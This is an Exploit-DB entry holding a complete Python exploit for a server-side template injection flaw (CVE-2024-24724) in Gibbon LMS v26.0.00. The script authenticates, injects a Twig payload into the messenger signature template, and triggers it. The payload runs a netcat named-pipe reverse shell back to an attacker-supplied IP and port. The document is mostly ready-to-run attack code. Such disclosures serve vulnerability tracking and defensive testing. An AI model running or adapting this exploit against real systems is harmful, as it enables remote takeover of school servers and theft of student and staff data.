Exploit-DB #51962
Description: Gibbon LMS v26.0.00 - SSTI vulnerability
Type: webapps
Platform: php
Date: 2024-04-02
Author: Ali Maharramli_Fikrat  Guliev_Islam Rzayev

Exploit:
# Exploit Title: Gibbon LMS v26.0.00 - SSTI vulnerability
# Date: 21.01.2024
# Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli)
# Vendor Homepage: https://gibbonedu.org/
# Software Link: https://github.com/GibbonEdu/core
# Version: v26.0.00
# Tested on: Ubuntu 22.0
# CVE : CVE-2024-24724

import requests
import re
import sys


def login(target_host, target_port,email,password):
     url = f'http://{target_host}:{target_port}/login.php?timeout=true'
     headers = {"Content-Type": "multipart/form-data; 
boundary=--------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]"}
     data = 
f"----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"address\"\r\n\r\n\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"method\"\r\n\r\ndefault\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"username\"\r\n\r\n{email}\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"password\"\r\n\r\n{password}\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]\r\nContent-Disposition: 
form-data; 
name=\"gibboni18nID\"\r\n\r\n0002\r\n----------------------------[PII_REDACTED][PII_REDACTED][PII_REDACTED]--\r\n"
     r = requests.post(url, headers=headers, data=data, 
allow_redirects=False)
     Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie'])
     if Session_Cookie[4] is not None and '/index.php' in 
str(r.headers['Location']):
         print("login successful!")

     return Session_Cookie[4]



def rce(cookie, target_host, target_port, attacker_ip, attacker_port):
     url = 
f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php'
     headers = {"Content-Type": "multipart/form-data; 
boundary=--------------------------[PII_REDACTED][PII_REDACTED]10521651", 
"Cookie": cookie}
     data = 
f"----------------------------[PII_REDACTED][PII_REDACTED]10521651\r\nContent-Disposition: 
form-data; name=\"address\"\r\n\r\n/modules/School 
Admin/messengerSettings.php\r\n----------------------------[PII_REDACTED][PII_REDACTED]10521651\r\nContent-Disposition: 
form-data; 
name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n----------------------------[PII_REDACTED][PII_REDACTED]10521651\r\nContent-Disposition: 
form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo 
/tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} 
 >/tmp/f']|filter('system')}}}}\r\n----------------------------[PII_REDACTED][PII_REDACTED]10521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n----------------------------[PII_REDACTED][PII_REDACTED]10521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n----------------------------[PII_REDACTED][PII_REDACTED]10521651--\r\n"
     r = requests.post(url, headers=headers, data=data, 
allow_redirects=False)
     if 'success0' in str(r.headers['Location']):
         print("Payload uploaded successfully!")



def trigger(cookie, target_host, target_port):
     url = 
f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0'
     headers = {"Cookie": cookie}
     print("RCE successful!")
     r = requests.get(url, headers=headers, allow_redirects=False)


if __name__ == '__main__':
     if len(sys.argv) != 7:
         print("Usage: script.py <target_host> <target_port> 
<attacker_ip> <attacker_port> <email> <password>")
         sys.exit(1)
     cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6])
     rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])
     trigger(cookie, sys.argv[1], sys.argv[2])